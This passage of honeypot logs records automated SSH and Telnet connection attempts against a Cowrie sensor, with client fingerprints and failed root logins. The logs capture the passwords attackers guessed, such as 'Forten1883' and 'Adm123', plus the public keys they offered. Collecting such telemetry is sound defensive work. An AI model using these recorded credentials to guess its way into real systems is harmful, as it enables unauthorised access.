CS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:42:09.421830Z","src_ip":"103.149.170.125","session":"1247c83fad26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:42:10.199083Z","src_ip":"103.149.170.125","session":"1247c83fad26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:42:11.459259Z","src_ip":"103.149.170.125","session":"1247c83fad26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":45944,"dst_ip":"10.17.0.5","dst_port":23,"session":"437917064a5b","protocol":"telnet","message":"New connection: 50.6.8.71:45944 (10.17.0.5:23) [session: 437917064a5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:42:11.724594Z"}
{"eventid":"cowrie.session.closed","duration":31.97475576400757,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:42:15.813185Z","src_ip":"50.6.8.71","session":"c373d64032ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"200.77.172.159","src_port":38542,"dst_ip":"159.203.135.109","dst_port":22,"session":"b3ce8bda2983","protocol":"ssh","message":"New connection: 200.77.172.159:38542 (159.203.135.109:22) [session: b3ce8bda2983]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:42:15.977787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:42:15.983418Z","src_ip":"200.77.172.159","session":"b3ce8bda2983","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:42:16.052556Z","src_ip":"200.77.172.159","session":"b3ce8bda2983","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"brandon","message":"login attempt [root/brandon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:42:16.362240Z","src_ip":"200.77.172.159","session":"b3ce8bda2983","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.96994590759277,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:42:16.551179Z","src_ip":"50.6.8.71","session":"2e52f3471d40","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:42:17.435425Z","src_ip":"200.77.172.159","session":"b3ce8bda2983","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.686164140701294,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:42:18.442456Z","src_ip":"50.6.8.71","session":"f4a84cc62149","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.52177929878235,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:42:20.513447Z","src_ip":"50.6.8.71","session":"94ad8a1f2337","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":44490,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b013e87f225","protocol":"telnet","message":"New connection: 50.6.8.71:44490 (10.17.0.5:23) [session: 2b013e87f225]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:42:21.204553Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":48074,"dst_ip":"10.17.0.5","dst_port":22,"session":"d93208c366d3","protocol":"ssh","message":"New connection: 103.77.175.15:48074 (10.17.0.5:22) [session: d93208c366d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:42:21.226904Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:42:21.231944Z","src_ip":"103.77.175.15","session":"d93208c366d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:42:21.497923Z","src_ip":"103.77.175.15","session":"d93208c366d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:42:22.296940Z","src_ip":"103.77.175.15","session":"d93208c366d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:42:23.565608Z","src_ip":"103.77.175.15","session":"d93208c366d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.35340976715088,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:42:27.529747Z","src_ip":"50.6.8.71","session":"3f735204506d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":47252,"dst_ip":"10.17.0.5","dst_port":23,"session":"5308f1381d2f","protocol":"telnet","message":"New connection: 50.6.8.71:47252 (10.17.0.5:23) [session: 5308f1381d2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:42:29.391025Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":47268,"dst_ip":"10.17.0.5","dst_port":23,"session":"82353a27f64f","protocol":"telnet","message":"New connection: 50.6.8.71:47268 (10.17.0.5:23) [session: 82353a27f64f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:42:30.705632Z"}
{"eventid":"cowrie.session.connect","src_ip":"4.210.91.174","src_port":1024,"dst_ip":"159.203.135.109","dst_port":22,"session":"e42a183308f4","protocol":"ssh","message":"New connection: 4.210.91.174:1024 (159.203.135.109:22) [session: e42a183308f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:42:31.660476Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:42:31.665546Z","src_ip":"4.210.91.174","session":"e42a183308f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:42:31.736794Z","src_ip":"4.210.91.174","session":"e42a183308f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Adm123","message":"login attempt [root/Adm123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:42:32.049295Z","src_ip":"4.210.91.174","session":"e42a183308f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:42:33.120499Z","src_ip":"4.210.91.174","session":"e42a183308f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.16360878944397,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:42:40.419564Z","src_ip":"50.6.8.71","session":"1ccdce5596e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.566904067993164,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:42:42.291369Z","src_ip":"50.6.8.71","session":"437917064a5b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.346105337142944,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:42:43.147016Z","src_ip":"50.6.8.71","session":"2db1196dfd08","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":33020,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb41067c85a1","protocol":"ssh","message":"New connection: 51.250.105.222:33020 (159.203.135.109:22) [session: fb41067c85a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:42:44.382850Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:42:44.388497Z","src_ip":"51.250.105.222","session":"fb41067c85a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:42:44.514295Z","src_ip":"51.250.105.222","session":"fb41067c85a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:42:44.893804Z","src_ip":"51.250.105.222","session":"fb41067c85a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:42:46.021555Z","src_ip":"51.250.105.222","session":"fb41067c85a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.73755717277527,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:42:52.942108Z","src_ip":"50.6.8.71","session":"2b013e87f225","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":47042,"dst_ip":"10.17.0.5","dst_port":23,"session":"73ba845384fd","protocol":"telnet","message":"New connection: 50.6.8.71:47042 (10.17.0.5:23) [session: 73ba845384fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:43:00.036126Z"}
{"eventid":"cowrie.session.closed","duration":31.734133005142212,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:43:01.124998Z","src_ip":"50.6.8.71","session":"5308f1381d2f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.143422603607178,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:43:01.848925Z","src_ip":"50.6.8.71","session":"82353a27f64f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":47046,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f311a183b21","protocol":"telnet","message":"New connection: 50.6.8.71:47046 (10.17.0.5:23) [session: 0f311a183b21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:43:06.511403Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":54686,"dst_ip":"10.17.0.5","dst_port":23,"session":"80a011ea826b","protocol":"telnet","message":"New connection: 50.6.8.71:54686 (10.17.0.5:23) [session: 80a011ea826b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:43:07.857361Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.45.12.136","src_port":10440,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f3ed364c774","protocol":"ssh","message":"New connection: 89.45.12.136:10440 (10.17.0.5:22) [session: 6f3ed364c774]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:43:11.185964Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:43:11.191574Z","src_ip":"89.45.12.136","session":"6f3ed364c774","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:43:11.326591Z","src_ip":"89.45.12.136","session":"6f3ed364c774","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"14:fd:f7:e2:3d:e4:4e:3c:26:f7:e9:db:aa:47:1a:ff","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCjoHKcSCTp3JwCQK+n33OPkjJIEM8sstWqBWgYtAZzrwRAg4fh6Z7z1ykfzWIuYSllFZxaFoNnANU6jBsOAItzbuk3YzA+K66DpMHD5sqtmBlfmrJfCIkRn2Y0nycNk8ppCERQDLy4VqhuQ6ihaedXOyjh26p/8TwRBcZMaT0mAB2au4dS7n5MhFO1jKQlW5SCImaUPc46/MFyI54xGBE26AaCypQItdyoZaS/lEqX9SiyOnz2yCW4YBU0jSuMqZF0VmqLrlcMa9m5SDRqv30ep2LzA2Ktou7u+xeNxrOW7gkfsJrASQk91SgJIbhykQUe+qKdXtMvy/ER6kkDdg45","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 14:fd:f7:e2:3d:e4:4e:3c:26:f7:e9:db:aa:47:1a:ff","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:43:11.972707Z","src_ip":"89.45.12.136","session":"6f3ed364c774","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"14:fd:f7:e2:3d:e4:4e:3c:26:f7:e9:db:aa:47:1a:ff","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCjoHKcSCTp3JwCQK+n33OPkjJIEM8sstWqBWgYtAZzrwRAg4fh6Z7z1ykfzWIuYSllFZxaFoNnANU6jBsOAItzbuk3YzA+K66DpMHD5sqtmBlfmrJfCIkRn2Y0nycNk8ppCERQDLy4VqhuQ6ihaedXOyjh26p/8TwRBcZMaT0mAB2au4dS7n5MhFO1jKQlW5SCImaUPc46/MFyI54xGBE26AaCypQItdyoZaS/lEqX9SiyOnz2yCW4YBU0jSuMqZF0VmqLrlcMa9m5SDRqv30ep2LzA2Ktou7u+xeNxrOW7gkfsJrASQk91SgJIbhykQUe+qKdXtMvy/ER6kkDdg45","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:43:11.980940Z","src_ip":"89.45.12.136","session":"6f3ed364c774","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"59:ec:c5:dc:e6:05:8b:80:5e:52:8d:8d:d4:a9:b2:bc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqwQcr9SEblhxMv/To0wxqXHr2xReJuL1wPmiWcvF8dymDVcSpxGX0B1MFD/3taXH/eYKDnbuEKeD3eKJKua484hPsnldqwrQeMIYyLlhBNL0cmp8y0opFTfff1uOaxiWp3YvwCO1Cmb6aRtwMVYrbCJoX0vEHGnon14sNjC8kB1GssZ5dAbkeazJYDy1STv27CggKDX4eOq/MznZyYBHYf+PZPTU8mZPoBfByhov+xhqTGnV1qsbwIApsfgnzx8uxjJbna9YiI5nqBco1bk79tog0maUbZoFbkdirgRGW7/WPSAD5UfkKdAtGnG++s19B4jRj+lPEtKdlU0bjkQ25w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 59:ec:c5:dc:e6:05:8b:80:5e:52:8d:8d:d4:a9:b2:bc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:43:12.115828Z","src_ip":"89.45.12.136","session":"6f3ed364c774","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"59:ec:c5:dc:e6:05:8b:80:5e:52:8d:8d:d4:a9:b2:bc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqwQcr9SEblhxMv/To0wxqXHr2xReJuL1wPmiWcvF8dymDVcSpxGX0B1MFD/3taXH/eYKDnbuEKeD3eKJKua484hPsnldqwrQeMIYyLlhBNL0cmp8y0opFTfff1uOaxiWp3YvwCO1Cmb6aRtwMVYrbCJoX0vEHGnon14sNjC8kB1GssZ5dAbkeazJYDy1STv27CggKDX4eOq/MznZyYBHYf+PZPTU8mZPoBfByhov+xhqTGnV1qsbwIApsfgnzx8uxjJbna9YiI5nqBco1bk79tog0maUbZoFbkdirgRGW7/WPSAD5UfkKdAtGnG++s19B4jRj+lPEtKdlU0bjkQ25w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:43:12.120703Z","src_ip":"89.45.12.136","session":"6f3ed364c774","protocol":"ssh"}
